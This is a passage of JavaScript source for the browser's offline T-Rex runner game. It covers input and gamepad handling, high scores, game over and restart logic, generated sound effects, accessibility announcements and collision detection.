    if (this.isRunning() && isjumpKey) {
      this.tRex.endJump();
    } else if (Runner.keycodes.DUCK[keyCode]) {
      this.tRex.speedDrop = false;
      this.tRex.setDuck(false);
    } else if (this.crashed) {
      // Check that enough time has elapsed before allowing jump key to restart.
      const deltaTime = getTimeStamp() - this.time;

      if (this.isCanvasInView() &&
          (Runner.keycodes.RESTART[keyCode] || this.isLeftClickOnCanvas(e) ||
          (deltaTime >= this.config.GAMEOVER_CLEAR_TIME &&
          Runner.keycodes.JUMP[keyCode]))) {
        this.handleGameOverClicks(e);
      }
    } else if (this.paused && isjumpKey) {
      // Reset the jump state
      this.tRex.reset();
      this.play();
    }
  },

  /**
   * Process gamepad connected event.
   * @param {Event} e
   */
  onGamepadConnected(e) {
    if (!this.pollingGamepads) {
      this.pollGamepadState();
    }
  },

  /**
   * rAF loop for gamepad polling.
   */
  pollGamepadState() {
    const gamepads = navigator.getGamepads();
    this.pollActiveGamepad(gamepads);

    this.pollingGamepads = true;
    requestAnimationFrame(this.pollGamepadState.bind(this));
  },

  /**
   * Polls for a gamepad with the jump button pressed. If one is found this
   * becomes the "active" gamepad and all others are ignored.
   * @param {!Array<Gamepad>} gamepads
   */
  pollForActiveGamepad(gamepads) {
    for (let i = 0; i < gamepads.length; ++i) {
      if (gamepads[i] && gamepads[i].buttons.length > 0 &&
          gamepads[i].buttons[0].pressed) {
        this.gamepadIndex = i;
        this.pollActiveGamepad(gamepads);
        return;
      }
    }
  },

  /**
   * Polls the chosen gamepad for button presses and generates KeyboardEvents
   * to integrate with the rest of the game logic.
   * @param {!Array<Gamepad>} gamepads
   */
  pollActiveGamepad(gamepads) {
    if (this.gamepadIndex === undefined) {
      this.pollForActiveGamepad(gamepads);
      return;
    }

    const gamepad = gamepads[this.gamepadIndex];
    if (!gamepad) {
      this.gamepadIndex = undefined;
      this.pollForActiveGamepad(gamepads);
      return;
    }

    // The gamepad specification defines the typical mapping of physical buttons
    // to button indicies: https://w3c.github.io/gamepad/#remapping
    this.pollGamepadButton(gamepad, 0, 38);  // Jump
    if (gamepad.buttons.length >= 2) {
      this.pollGamepadButton(gamepad, 1, 40);  // Duck
    }
    if (gamepad.buttons.length >= 10) {
      this.pollGamepadButton(gamepad, 9, 13);  // Restart
    }

    this.previousGamepad = gamepad;
  },

  /**
   * Generates a key event based on a gamepad button.
   * @param {!Gamepad} gamepad
   * @param {number} buttonIndex
   * @param {number} keyCode
   */
  pollGamepadButton(gamepad, buttonIndex, keyCode) {
    const state = gamepad.buttons[buttonIndex].pressed;
    let previousState = false;
    if (this.previousGamepad) {
      previousState = this.previousGamepad.buttons[buttonIndex].pressed;
    }
    // Generate key events on the rising and falling edge of a button press.
    if (state !== previousState) {
      const e = new KeyboardEvent(state ? Runner.events.KEYDOWN
                                      : Runner.events.KEYUP,
                                { keyCode: keyCode });
      document.dispatchEvent(e);
    }
  },

  /**
   * Handle interactions on the game over screen state.
   * A user is able to tap the high score twice to reset it.
   * @param {Event} e
   */
  handleGameOverClicks(e) {
    if (e.target != this.slowSpeedCheckbox) {
      e.preventDefault();
      if (this.distanceMeter.hasClickedOnHighScore(e) && this.highestScore) {
        if (this.distanceMeter.isHighScoreFlashing()) {
          // Subsequent click, reset the high score.
          this.saveHighScore(0, true);
          this.distanceMeter.resetHighScore();
        } else {
          // First click, flash the high score.
          this.distanceMeter.startHighScoreFlashing();
        }
      } else {
        this.distanceMeter.cancelHighScoreFlashing();
        this.restart();
      }
    }
  },

  /**
   * Returns whether the event was a left click on canvas.
   * On Windows right click is registered as a click.
   * @param {Event} e
   * @return {boolean}
   */
  isLeftClickOnCanvas(e) {
    return e.button != null && e.button < 2 &&
        e.type === Runner.events.POINTERUP &&
        (e.target === this.canvas ||
         (IS_MOBILE && Runner.audioCues && e.target === this.containerEl));
  },

  /**
   * RequestAnimationFrame wrapper.
   */
  scheduleNextUpdate() {
    if (!this.updatePending) {
      this.updatePending = true;
      this.raqId = requestAnimationFrame(this.update.bind(this));
    }
  },

  /**
   * Whether the game is running.
   * @return {boolean}
   */
  isRunning() {
    return !!this.raqId;
  },

  /**
   * Set the initial high score as stored in the user's profile.
   * @param {number} highScore
   */
  initializeHighScore(highScore) {
    this.syncHighestScore = true;
    highScore = Math.ceil(highScore);
    if (highScore < this.highestScore) {
      if (window.errorPageController) {
        errorPageController.updateEasterEggHighScore(this.highestScore);
      }
      return;
    }
    this.highestScore = highScore;
    this.distanceMeter.setHighScore(this.highestScore);
  },

  /**
   * Sets the current high score and saves to the profile if available.
   * @param {number} distanceRan Total distance ran.
   * @param {boolean=} opt_resetScore Whether to reset the score.
   */
  saveHighScore(distanceRan, opt_resetScore) {
    this.highestScore = Math.ceil(distanceRan);
    this.distanceMeter.setHighScore(this.highestScore);

    // Store the new high score in the profile.
    if (this.syncHighestScore && window.errorPageController) {
      if (opt_resetScore) {
        errorPageController.resetEasterEggHighScore();
      } else {
        errorPageController.updateEasterEggHighScore(this.highestScore);
      }
    }
  },

  /**
   * Game over state.
   */
  gameOver() {
    this.playSound(this.soundFx.HIT);
    vibrate(200);

    this.stop();
    this.crashed = true;
    this.distanceMeter.achievement = false;

    this.tRex.update(100, Trex.status.CRASHED);

    // Game over panel.
    if (!this.gameOverPanel) {
      const origSpriteDef = IS_HIDPI ?
          Runner.spriteDefinitionByType.original.HDPI :
          Runner.spriteDefinitionByType.original.LDPI;

      if (this.canvas) {
        if (Runner.isAltGameModeEnabled) {
          this.gameOverPanel = new GameOverPanel(
              this.canvas, origSpriteDef.TEXT_SPRITE, origSpriteDef.RESTART,
              this.dimensions, origSpriteDef.ALT_GAME_END,
              this.altGameModeActive);
        } else {
          this.gameOverPanel = new GameOverPanel(
              this.canvas, origSpriteDef.TEXT_SPRITE, origSpriteDef.RESTART,
              this.dimensions);
        }
      }
    }

    this.gameOverPanel.draw(this.altGameModeActive, this.tRex);

    // Update the high score.
    if (this.distanceRan > this.highestScore) {
      this.saveHighScore(this.distanceRan);
    }

    // Reset the time clock.
    this.time = getTimeStamp();

    if (Runner.audioCues) {
      this.generatedSoundFx.stopAll();
      announcePhrase(
          getA11yString(A11Y_STRINGS.gameOver)
              .replace(
                  '$1',
                  this.distanceMeter.getActualDistance(this.distanceRan)
                      .toString()) +
          ' ' +
          getA11yString(A11Y_STRINGS.highScore)
              .replace(
                  '$1',

                  this.distanceMeter.getActualDistance(this.highestScore)
                      .toString()));
      this.containerEl.setAttribute(
          'title', getA11yString(A11Y_STRINGS.ariaLabel));
    }
    this.showSpeedToggle();
    this.disableSpeedToggle(false);
  },

  stop() {
    this.setPlayStatus(false);
    this.paused = true;
    cancelAnimationFrame(this.raqId);
    this.raqId = 0;
    this.generatedSoundFx.stopAll();
  },

  play() {
    if (!this.crashed) {
      this.setPlayStatus(true);
      this.paused = false;
      this.tRex.update(0, Trex.status.RUNNING);
      this.time = getTimeStamp();
      this.update();
      this.generatedSoundFx.background();
    }
  },

  restart() {
    if (!this.raqId) {
      this.playCount++;
      this.runningTime = 0;
      this.setPlayStatus(true);
      this.toggleSpeed();
      this.paused = false;
      this.crashed = false;
      this.distanceRan = 0;
      this.setSpeed(this.config.SPEED);
      this.time = getTimeStamp();
      this.containerEl.classList.remove(Runner.classes.CRASHED);
      this.clearCanvas();
      this.distanceMeter.reset();
      this.horizon.reset();
      this.tRex.reset();
      this.playSound(this.soundFx.BUTTON_PRESS);
      this.invert(true);
      this.flashTimer = null;
      this.update();
      this.gameOverPanel.reset();
      this.generatedSoundFx.background();
      this.containerEl.setAttribute('title', getA11yString(A11Y_STRINGS.jump));
      announcePhrase(getA11yString(A11Y_STRINGS.started));
    }
  },

  setPlayStatus(isPlaying) {
    if (this.touchController) {
      this.touchController.classList.toggle(HIDDEN_CLASS, !isPlaying);
    }
    this.playing = isPlaying;
  },

  /**
   * Whether the game should go into arcade mode.
   * @return {boolean}
   */
  isArcadeMode() {
    // In RTL languages the title is wrapped with the left to right mark
    // control characters &#x202A; and &#x202C but are invisible.
    return IS_RTL ? document.title.indexOf(ARCADE_MODE_URL) == 1 :
                    document.title === ARCADE_MODE_URL;
  },

  /**
   * Hides offline messaging for a fullscreen game only experience.
   */
  setArcadeMode() {
    document.body.classList.add(Runner.classes.ARCADE_MODE);
    this.setArcadeModeContainerScale();
  },

  /**
   * Sets the scaling for arcade mode.
   */
  setArcadeModeContainerScale() {
    const windowHeight = window.innerHeight;
    const scaleHeight = windowHeight / this.dimensions.HEIGHT;
    const scaleWidth = window.innerWidth / this.dimensions.WIDTH;
    const scale = Math.max(1, Math.min(scaleHeight, scaleWidth));
    const scaledCanvasHeight = this.dimensions.HEIGHT * scale;
    // Positions the game container at 10% of the available vertical window
    // height minus the game container height.
    const translateY = Math.ceil(Math.max(0, (windowHeight - scaledCanvasHeight -
        Runner.config.ARCADE_MODE_INITIAL_TOP_POSITION) *
        Runner.config.ARCADE_MODE_TOP_POSITION_PERCENT)) *
        window.devicePixelRatio;

    const cssScale = IS_RTL ? -scale + ',' + scale : scale;
    this.containerEl.style.transform =
        'scale(' + cssScale + ') translateY(' + translateY + 'px)';
  },

  /**
   * Pause the game if the tab is not in focus.
   */
  onVisibilityChange(e) {
    if (document.hidden || document.webkitHidden || e.type === 'blur' ||
        document.visibilityState !== 'visible') {
      this.stop();
    } else if (!this.crashed) {
      this.tRex.reset();
      this.play();
    }
  },

  /**
   * Play a sound.
   * @param {AudioBuffer} soundBuffer
   */
  playSound(soundBuffer) {
    if (soundBuffer) {
      const sourceNode = this.audioContext.createBufferSource();
      sourceNode.buffer = soundBuffer;
      sourceNode.connect(this.audioContext.destination);
      sourceNode.start(0);
    }
  },

  /**
   * Inverts the current page / canvas colors.
   * @param {boolean} reset Whether to reset colors.
   */
  invert(reset) {
    const htmlEl = document.firstElementChild;

    if (reset) {
      htmlEl.classList.toggle(Runner.classes.INVERTED,
          false);
      this.invertTimer = 0;
      this.inverted = false;
    } else {
      this.inverted = htmlEl.classList.toggle(
          Runner.classes.INVERTED, this.invertTrigger);
    }
  },
};


/**
 * Updates the canvas size taking into
 * account the backing store pixel ratio and
 * the device pixel ratio.
 *
 * See article by Paul Lewis:
 * http://www.html5rocks.com/en/tutorials/canvas/hidpi/
 *
 * @param {HTMLCanvasElement} canvas
 * @param {number=} opt_width
 * @param {number=} opt_height
 * @return {boolean} Whether the canvas was scaled.
 */
Runner.updateCanvasScaling = function(canvas, opt_width, opt_height) {
  const context =
      /** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));

  // Query the various pixel ratios
  const devicePixelRatio = Math.floor(window.devicePixelRatio) || 1;
  /** @suppress {missingProperties} */
  const backingStoreRatio =
      Math.floor(context.webkitBackingStorePixelRatio) || 1;
  const ratio = devicePixelRatio / backingStoreRatio;

  // Upscale the canvas if the two ratios don't match
  if (devicePixelRatio !== backingStoreRatio) {
    const oldWidth = opt_width || canvas.width;
    const oldHeight = opt_height || canvas.height;

    canvas.width = oldWidth * ratio;
    canvas.height = oldHeight * ratio;

    canvas.style.width = oldWidth + 'px';
    canvas.style.height = oldHeight + 'px';

    // Scale the context to counter the fact that we've manually scaled
    // our canvas element.
    context.scale(ratio, ratio);
    return true;
  } else if (devicePixelRatio === 1) {
    // Reset the canvas width / height. Fixes scaling bug when the page is
    // zoomed and the devicePixelRatio changes accordingly.
    canvas.style.width = canvas.width + 'px';
    canvas.style.height = canvas.height + 'px';
  }
  return false;
};


/**
 * Whether events are enabled.
 * @return {boolean}
 */
Runner.isAltGameModeEnabled = function() {
  return loadTimeData && loadTimeData.valueExists('enableAltGameMode');
};


/**
 * Generated sound FX class for audio cues.
 * @constructor
 */
function GeneratedSoundFx() {
  this.audioCues = false;
  this.context = null;
  this.panner = null;
}

GeneratedSoundFx.prototype = {
  init() {
    this.audioCues = true;
    if (!this.context) {
      // iOS only supports the webkit version.
      this.context = window.webkitAudioContext ? new webkitAudioContext() :
                                                 new AudioContext();
      if (IS_IOS) {
        this.context.onstatechange = (function() {
                                       if (this.context.state != 'running') {
                                         this.context.resume();
                                       }
                                     }).bind(this);
        this.context.resume();
      }
      this.panner = this.context.createStereoPanner ?
          this.context.createStereoPanner() :
          null;
    }
  },

  stopAll() {
    this.cancelFootSteps();
  },

  /**
   * Play oscillators at certain frequency and for a certain time.
   * @param {number} frequency
   * @param {number} startTime
   * @param {number} duration
   * @param {?number=} opt_vol
   * @param {number=} opt_pan
   */
  playNote(frequency, startTime, duration, opt_vol, opt_pan) {
    const osc1 = this.context.createOscillator();
    const osc2 = this.context.createOscillator();
    const volume = this.context.createGain();

    // Set oscillator wave type
    osc1.type = 'triangle';
    osc2.type = 'triangle';
    volume.gain.value = 0.1;

    // Set up node routing
    if (this.panner) {
      this.panner.pan.value = opt_pan || 0;
      osc1.connect(volume).connect(this.panner);
      osc2.connect(volume).connect(this.panner);
      this.panner.connect(this.context.destination);
    } else {
      osc1.connect(volume);
      osc2.connect(volume);
      volume.connect(this.context.destination);
    }

    // Detune oscillators for chorus effect
    osc1.frequency.value = frequency + 1;
    osc2.frequency.value = frequency - 2;

    // Fade out
    volume.gain.setValueAtTime(opt_vol || 0.01, startTime + duration - 0.05);
    volume.gain.linearRampToValueAtTime(0.00001, startTime + duration);

    // Start oscillators
    osc1.start(startTime);
    osc2.start(startTime);
    // Stop oscillators
    osc1.stop(startTime + duration);
    osc2.stop(startTime + duration);
  },

  background() {
    if (this.audioCues) {
      const now = this.context.currentTime;
      this.playNote(493.883, now, 0.116);
      this.playNote(659.255, now + 0.116, 0.232);
      this.loopFootSteps();
    }
  },

  loopFootSteps() {
    if (this.audioCues && !this.bgSoundIntervalId) {
      this.bgSoundIntervalId = setInterval(function() {
        this.playNote(73.42, this.context.currentTime, 0.05, 0.16);
        this.playNote(69.30, this.context.currentTime + 0.116, 0.116, 0.16);
      }.bind(this), 280);
    }
  },

  cancelFootSteps() {
    if (this.audioCues && this.bgSoundIntervalId) {
      clearInterval(this.bgSoundIntervalId);
      this.bgSoundIntervalId = null;
      this.playNote(103.83, this.context.currentTime, 0.232, 0.02);
      this.playNote(116.54, this.context.currentTime + 0.116, 0.232, 0.02);
    }
  },

  collect() {
    if (this.audioCues) {
      this.cancelFootSteps();
      const now = this.context.currentTime;
      this.playNote(830.61, now, 0.116);
      this.playNote(1318.51, now + 0.116, 0.232);
    }
  },

  jump() {
    if (this.audioCues) {
      const now = this.context.currentTime;
      this.playNote(659.25, now, 0.116, 0.3, -0.6);
      this.playNote(880, now + 0.116, 0.232, 0.3, -0.6);
    }
  },
};


/**
 * Speak a phrase using Speech Synthesis API for a11y.
 * @param {string} phrase Sentence to speak.
 */
function speakPhrase(phrase) {
  if ('speechSynthesis' in window) {
    const msg = new SpeechSynthesisUtterance(phrase);
    const voices = window.speechSynthesis.getVoices();
    msg.text = phrase;
    speechSynthesis.speak(msg);
  }
}


/**
 * For screen readers make an announcement to the live region.
 * @param {string} phrase Sentence to speak.
 */
function announcePhrase(phrase) {
  if (Runner.a11yStatusEl) {
    Runner.a11yStatusEl.textContent = '';
    Runner.a11yStatusEl.textContent = phrase;
  }
}


/**
 * Returns a string from loadTimeData data object.
 * @param {string} stringName
 * @return {string}
 */
function getA11yString(stringName) {
  return loadTimeData && loadTimeData.valueExists(stringName) ?
      loadTimeData.getString(stringName) :
      '';
}


/**
 * Get random number.
 * @param {number} min
 * @param {number} max
 */
function getRandomNum(min, max) {
  return Math.floor(Math.random() * (max - min + 1)) + min;
}


/**
 * Vibrate on mobile devices.
 * @param {number} duration Duration of the vibration in milliseconds.
 */
function vibrate(duration) {
  if (IS_MOBILE && window.navigator.vibrate) {
    window.navigator.vibrate(duration);
  }
}


/**
 * Create canvas element.
 * @param {Element} container Element to append canvas to.
 * @param {number} width
 * @param {number} height
 * @param {string=} opt_classname
 * @return {HTMLCanvasElement}
 */
function createCanvas(container, width, height, opt_classname) {
  const canvas =
      /** @type {!HTMLCanvasElement} */ (document.createElement('canvas'));
  canvas.className = opt_classname ? Runner.classes.CANVAS + ' ' +
      opt_classname : Runner.classes.CANVAS;
  canvas.width = width;
  canvas.height = height;
  container.appendChild(canvas);

  return canvas;
}


/**
 * Decodes the base 64 audio to ArrayBuffer used by Web Audio.
 * @param {string} base64String
 */
function decodeBase64ToArrayBuffer(base64String) {
  const len = (base64String.length / 4) * 3;
  const str = atob(base64String);
  const arrayBuffer = new ArrayBuffer(len);
  const bytes = new Uint8Array(arrayBuffer);

  for (let i = 0; i < len; i++) {
    bytes[i] = str.charCodeAt(i);
  }
  return bytes.buffer;
}


/**
 * Return the current timestamp.
 * @return {number}
 */
function getTimeStamp() {
  return IS_IOS ? new Date().getTime() : performance.now();
}


//******************************************************************************


/**
 * Game over panel.
 * @param {!HTMLCanvasElement} canvas
 * @param {Object} textImgPos
 * @param {Object} restartImgPos
 * @param {!Object} dimensions Canvas dimensions.
 * @param {Object=} opt_altGameEndImgPos
 * @param {boolean=} opt_altGameActive
 * @constructor
 */
function GameOverPanel(
    canvas, textImgPos, restartImgPos, dimensions, opt_altGameEndImgPos,
    opt_altGameActive) {
  this.canvas = canvas;
  this.canvasCtx =
      /** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
  this.canvasDimensions = dimensions;
  this.textImgPos = textImgPos;
  this.restartImgPos = restartImgPos;
  this.altGameEndImgPos = opt_altGameEndImgPos;
  this.altGameModeActive = opt_altGameActive;

  // Retry animation.
  this.frameTimeStamp = 0;
  this.animTimer = 0;
  this.currentFrame = 0;

  this.gameOverRafId = null;

  this.flashTimer = 0;
  this.flashCounter = 0;
  this.originalText = true;
}

GameOverPanel.RESTART_ANIM_DURATION = 875;
GameOverPanel.LOGO_PAUSE_DURATION = 875;
GameOverPanel.FLASH_ITERATIONS = 5;

/**
 * Animation frames spec.
 */
GameOverPanel.animConfig = {
  frames: [0, 36, 72, 108, 144, 180, 216, 252],
  msPerFrame: GameOverPanel.RESTART_ANIM_DURATION / 8,
};

/**
 * Dimensions used in the panel.
 * @enum {number}
 */
GameOverPanel.dimensions = {
  TEXT_X: 0,
  TEXT_Y: 13,
  TEXT_WIDTH: 191,
  TEXT_HEIGHT: 11,
  RESTART_WIDTH: 36,
  RESTART_HEIGHT: 32,
};


GameOverPanel.prototype = {
  /**
   * Update the panel dimensions.
   * @param {number} width New canvas width.
   * @param {number} opt_height Optional new canvas height.
   */
  updateDimensions(width, opt_height) {
    this.canvasDimensions.WIDTH = width;
    if (opt_height) {
      this.canvasDimensions.HEIGHT = opt_height;
    }
    this.currentFrame = GameOverPanel.animConfig.frames.length - 1;
  },

  drawGameOverText(dimensions, opt_useAltText) {
    const centerX = this.canvasDimensions.WIDTH / 2;
    let textSourceX = dimensions.TEXT_X;
    let textSourceY = dimensions.TEXT_Y;
    let textSourceWidth = dimensions.TEXT_WIDTH;
    let textSourceHeight = dimensions.TEXT_HEIGHT;

    const textTargetX = Math.round(centerX - (dimensions.TEXT_WIDTH / 2));
    const textTargetY = Math.round((this.canvasDimensions.HEIGHT - 25) / 3);
    const textTargetWidth = dimensions.TEXT_WIDTH;
    const textTargetHeight = dimensions.TEXT_HEIGHT;

    if (IS_HIDPI) {
      textSourceY *= 2;
      textSourceX *= 2;
      textSourceWidth *= 2;
      textSourceHeight *= 2;
    }

    if (!opt_useAltText) {
      textSourceX += this.textImgPos.x;
      textSourceY += this.textImgPos.y;
    }

    const spriteSource =
        opt_useAltText ? Runner.altCommonImageSprite : Runner.origImageSprite;

    this.canvasCtx.save();

    if (IS_RTL) {
      this.canvasCtx.translate(this.canvasDimensions.WIDTH, 0);
      this.canvasCtx.scale(-1, 1);
    }

    // Game over text from sprite.
    this.canvasCtx.drawImage(
        spriteSource, textSourceX, textSourceY, textSourceWidth,
        textSourceHeight, textTargetX, textTargetY, textTargetWidth,
        textTargetHeight);

    this.canvasCtx.restore();
  },

  /**
   * Draw additional adornments for alternative game types.
   */
  drawAltGameElements(tRex) {
    // Additional adornments.
    if (this.altGameModeActive && Runner.spriteDefinition.ALT_GAME_END_CONFIG) {
      const altGameEndConfig = Runner.spriteDefinition.ALT_GAME_END_CONFIG;

      let altGameEndSourceWidth = altGameEndConfig.WIDTH;
      let altGameEndSourceHeight = altGameEndConfig.HEIGHT;
      const altGameEndTargetX = tRex.xPos + altGameEndConfig.X_OFFSET;
      const altGameEndTargetY = tRex.yPos + altGameEndConfig.Y_OFFSET;

      if (IS_HIDPI) {
        altGameEndSourceWidth *= 2;
        altGameEndSourceHeight *= 2;
      }

      this.canvasCtx.drawImage(
          Runner.altCommonImageSprite, this.altGameEndImgPos.x,
          this.altGameEndImgPos.y, altGameEndSourceWidth,
          altGameEndSourceHeight, altGameEndTargetX, altGameEndTargetY,
          altGameEndConfig.WIDTH, altGameEndConfig.HEIGHT);
    }
  },

  /**
   * Draw restart button.
   */
  drawRestartButton() {
    const dimensions = GameOverPanel.dimensions;
    let framePosX = GameOverPanel.animConfig.frames[this.currentFrame];
    let restartSourceWidth = dimensions.RESTART_WIDTH;
    let restartSourceHeight = dimensions.RESTART_HEIGHT;
    const restartTargetX =
        (this.canvasDimensions.WIDTH / 2) - (dimensions.RESTART_WIDTH / 2);
    const restartTargetY = this.canvasDimensions.HEIGHT / 2;

    if (IS_HIDPI) {
      restartSourceWidth *= 2;
      restartSourceHeight *= 2;
      framePosX *= 2;
    }

    this.canvasCtx.save();

    if (IS_RTL) {
      this.canvasCtx.translate(this.canvasDimensions.WIDTH, 0);
      this.canvasCtx.scale(-1, 1);
    }

    this.canvasCtx.drawImage(
        Runner.origImageSprite, this.restartImgPos.x + framePosX,
        this.restartImgPos.y, restartSourceWidth, restartSourceHeight,
        restartTargetX, restartTargetY, dimensions.RESTART_WIDTH,
        dimensions.RESTART_HEIGHT);
    this.canvasCtx.restore();
  },


  /**
   * Draw the panel.
   * @param {boolean} opt_altGameModeActive
   * @param {!Trex} opt_tRex
   */
  draw(opt_altGameModeActive, opt_tRex) {
    if (opt_altGameModeActive) {
      this.altGameModeActive = opt_altGameModeActive;
    }

    this.drawGameOverText(GameOverPanel.dimensions, false);
    this.drawRestartButton();
    this.drawAltGameElements(opt_tRex);
    this.update();
  },

  /**
   * Update animation frames.
   */
  update() {
    const now = getTimeStamp();
    const deltaTime = now - (this.frameTimeStamp || now);

    this.frameTimeStamp = now;
    this.animTimer += deltaTime;
    this.flashTimer += deltaTime;

    // Restart Button
    if (this.currentFrame == 0 &&
        this.animTimer > GameOverPanel.LOGO_PAUSE_DURATION) {
      this.animTimer = 0;
      this.currentFrame++;
      this.drawRestartButton();
    } else if (
        this.currentFrame > 0 &&
        this.currentFrame < GameOverPanel.animConfig.frames.length) {
      if (this.animTimer >= GameOverPanel.animConfig.msPerFrame) {
        this.currentFrame++;
        this.drawRestartButton();
      }
    } else if (
        !this.altGameModeActive &&
        this.currentFrame == GameOverPanel.animConfig.frames.length) {
      this.reset();
      return;
    }

    // Game over text
    if (this.altGameModeActive &&
        Runner.spriteDefinitionByType.original.ALT_GAME_OVER_TEXT_CONFIG) {
      const altTextConfig =
          Runner.spriteDefinitionByType.original.ALT_GAME_OVER_TEXT_CONFIG;

      if (this.flashCounter < GameOverPanel.FLASH_ITERATIONS &&
          this.flashTimer > altTextConfig.FLASH_DURATION) {
        this.flashTimer = 0;
        this.originalText = !this.originalText;

        this.clearGameOverTextBounds();
        if (this.originalText) {
          this.drawGameOverText(GameOverPanel.dimensions, false);
          this.flashCounter++;
        } else {
          this.drawGameOverText(altTextConfig, true);
        }
      } else if (this.flashCounter >= GameOverPanel.FLASH_ITERATIONS) {
        this.reset();
        return;
      }
    }

    this.gameOverRafId = requestAnimationFrame(this.update.bind(this));
  },

  /**
   * Clear game over text.
   */
  clearGameOverTextBounds() {
    this.canvasCtx.save();

    this.canvasCtx.clearRect(
        Math.round(
            this.canvasDimensions.WIDTH / 2 -
            (GameOverPanel.dimensions.TEXT_WIDTH / 2)),
        Math.round((this.canvasDimensions.HEIGHT - 25) / 3),
        GameOverPanel.dimensions.TEXT_WIDTH,
        GameOverPanel.dimensions.TEXT_HEIGHT + 4);
    this.canvasCtx.restore();
  },

  reset() {
    if (this.gameOverRafId) {
      cancelAnimationFrame(this.gameOverRafId);
      this.gameOverRafId = null;
    }
    this.animTimer = 0;
    this.frameTimeStamp = 0;
    this.currentFrame = 0;
    this.flashTimer = 0;
    this.flashCounter = 0;
    this.originalText = true;
  },
};


//******************************************************************************

/**
 * Check for a collision.
 * @param {!Obstacle} obstacle
 * @param {!Trex} tRex T-rex object.
 * @param {CanvasRenderingContext2D=} opt_canvasCtx Optional canvas context for
 *    drawing collision boxes.
 * @return {Array<CollisionBox>|undefined}
 */
function checkForCollision(obstacle, tRex, opt_canvasCtx) {
  const obstacleBoxXPos = Runner.defaultDimensions.WIDTH + obstacle.xPos;

  // Adjustments are made to the bounding box as there is a 1 pixel white
  // border around the t-rex and obstacles.
  const tRexBox = new CollisionBox(
      tRex.xPos + 1,
      tRex.yPos + 1,
      tRex.config.WIDTH - 2,
      tRex.config.HEIGHT - 2);

  const obstacleBox = new CollisionBox(
      obstacle.xPos + 1,
      obstacle.yPos + 1,
      obstacle.typeConfig.width * obstacle.size - 2,
      obstacle.typeConfig.height - 2);

  // Debug outer box
  if (opt_canvasCtx) {
    drawCollisionBoxes(opt_canvasCtx, tRexBox, obstacleBox);
  }

  // Simple outer bounds check.
  if (boxCompare(tRexBox, obstacleBox)) {
    const collisionBoxes = obstacle.collisionBoxes;
    let tRexCollisionBoxes = [];

    if (Runner.isAltGameModeEnabled()) {
      tRexCollisionBoxes = Runner.spriteDefinition.TREX.COLLISION_BOXES;
    } else {
      tRexCollisionBoxes = tRex.ducking ? Trex.collisionBoxes.DUCKING :
                                          Trex.collisionBoxes.RUNNING;
    }

    // Detailed axis aligned box check.
    for (let t = 0; t < tRexCollisionBoxes.length; t++) {
      for (let i = 0; i < collisionBoxes.length; i++) {
        // Adjust the box to actual positions.
        const adjTrexBox =
            createAdjustedCollisionBox(tRexCollisionBoxes[t], tRexBox);
        const adjObstacleBox =
            createAdjustedCollisionBox(collisionBoxes[i], obstacleBox);
        const crashed = boxCompare(adjTrexBox, adjObstacleBox);

        // Draw boxes for debug.
        if (opt_canvasCtx) {
          drawCollisionBoxes(opt_canvasCtx, adjTrexBox, adjObstacleBox);
        }

        if (crashed) {
          return [adjTrexBox, adjObstacleBox];
        }
      }
    }
  }
}


/**
 * Adjust the collision box.
 * @param {!CollisionBox} box The original box.
 * @param {!CollisionBox} adjustment Adjustment box.
 * @return {CollisionBox} The adjusted collision box object.
 */
function createAdjustedCollisionBox(box, adjustment) {
  return new CollisionBox(
      box.x + adjustment.x,
      box.y + adjustment.y,
      box.width,
      box.height);
}


/**
 * Draw the collision boxes for debug.
 */
function drawCollisionBoxes(canvasCtx, tRexBox, obstacleBox) {
  canvasCtx.save();
  canvasCtx.strokeStyle = '#f00';
  canvasCtx.strokeRect(tRexBox.x, tRexBox.y, tRexBox.width, tRexBox.height);

  canvasCtx.strokeStyle = '#0f0';
  canvasCtx.strokeRect(obstacleBox.x, obstacleBox.y,
      obstacleBox.width, obstacleBox.height);
  canvasCtx.restore();
}


/**
 * Compare two collision boxes for a collision.
 * @param {CollisionBox} tRexBox
 * @param {CollisionBox} obstacleBox
 * @return {boolean} Whether the boxes intersected.
 */
function boxCompare(tRexBox, obstacleBox) {
  let crashed = false;
  const tRexBoxX = tRexBox.x;
  const tRexBoxY = tRexBox.y;

  const obstacleBoxX = obstacleBox.x;
  const obstacleBoxY = obstacleBox.y;

  // Axis-Aligned Bounding Box method.
  if (tRexBox.x < obstacleBoxX + obstacleBox.width &&
      tRexBox.x + tRexBox.width > obstacleBoxX &&
      tRexBox.y < obstacleBox.y + obstacleBox.height &&
      tRexBox.height + tRexBox.y > obstacleBox.y) {
    crashed = true;
  }

  return crashed;
}


//******************************************************************************

/**
 * Collision box object.
 * @param {number} x X position.
 * @param {number} y Y Position.
 * @param {number} w Width.
 * @param {number} h Height.
 * @constructor
 */
function CollisionBox(x, y, w, h) {
  this.x = x;
  this.y = y;
  this.width = w;
  this.height = h;
}


//******************************************************************************

/**
 * Obstacle.
 * @param {CanvasRenderingContext2D} canvasCtx
 * @param {ObstacleType} type
 * @param {Object} spriteImgPos Obstacle position in sprite.
 * @param {Object} dimensions
 * @param {number} gapCoefficient Mutipler in determining the gap.
 * @param {number} speed
 * @param {number=} opt_xOffset
 * @param {boolean=} opt_isAltGameMode
 * @constructor
 */
function Obstacle(
    canvasCtx, type, spriteImgPos, dimensions, gapCoefficient, speed,
    opt_xOffset, opt_isAltGameMode) {
  this.canvasCtx = canvasCtx;
  this.spritePos = spriteImgPos;
  this.typeConfig = type;
  this.gapCoefficient = Runner.slowDown ? gapCoefficient * 2 : gapCoefficient;
  this.size = getRandomNum(1, Obstacle.MAX_OBSTACLE_LENGTH);
  this.dimensions = dimensions;
  this.remove = false;
  this.xPos = dimensions.WIDTH + (opt_xOffset || 0);
  this.yPos = 0;
  this.width = 0;
  this.collisionBoxes = [];
  this.gap = 0;
  this.speedOffset = 0;
  this.altGameModeActive = opt_isAltGameMode;
  this.imageSprite = this.typeConfig.type == 'COLLECTABLE' ?
      Runner.altCommonImageSprite :
      this.altGameModeActive ? Runner.altGameImageSprite : Runner.imageSprite;

  // For animated obstacles.
  this.currentFrame = 0;
  this.timer = 0;

  this.init(speed);
}

/**
 * Coefficient for calculating the maximum gap.
 */
Obstacle.MAX_GAP_COEFFICIENT = 1.5;

/**
 * Maximum obstacle grouping count.
 */
Obstacle.MAX_OBSTACLE_LENGTH = 3;


Obstacle.prototype = {
  /**
   * Initialise the DOM for the obstacle.
   * @param {number} speed
   */
  init(speed) {
    this.cloneCollisionBoxes();

    // Only allow sizing if we're at the right speed.
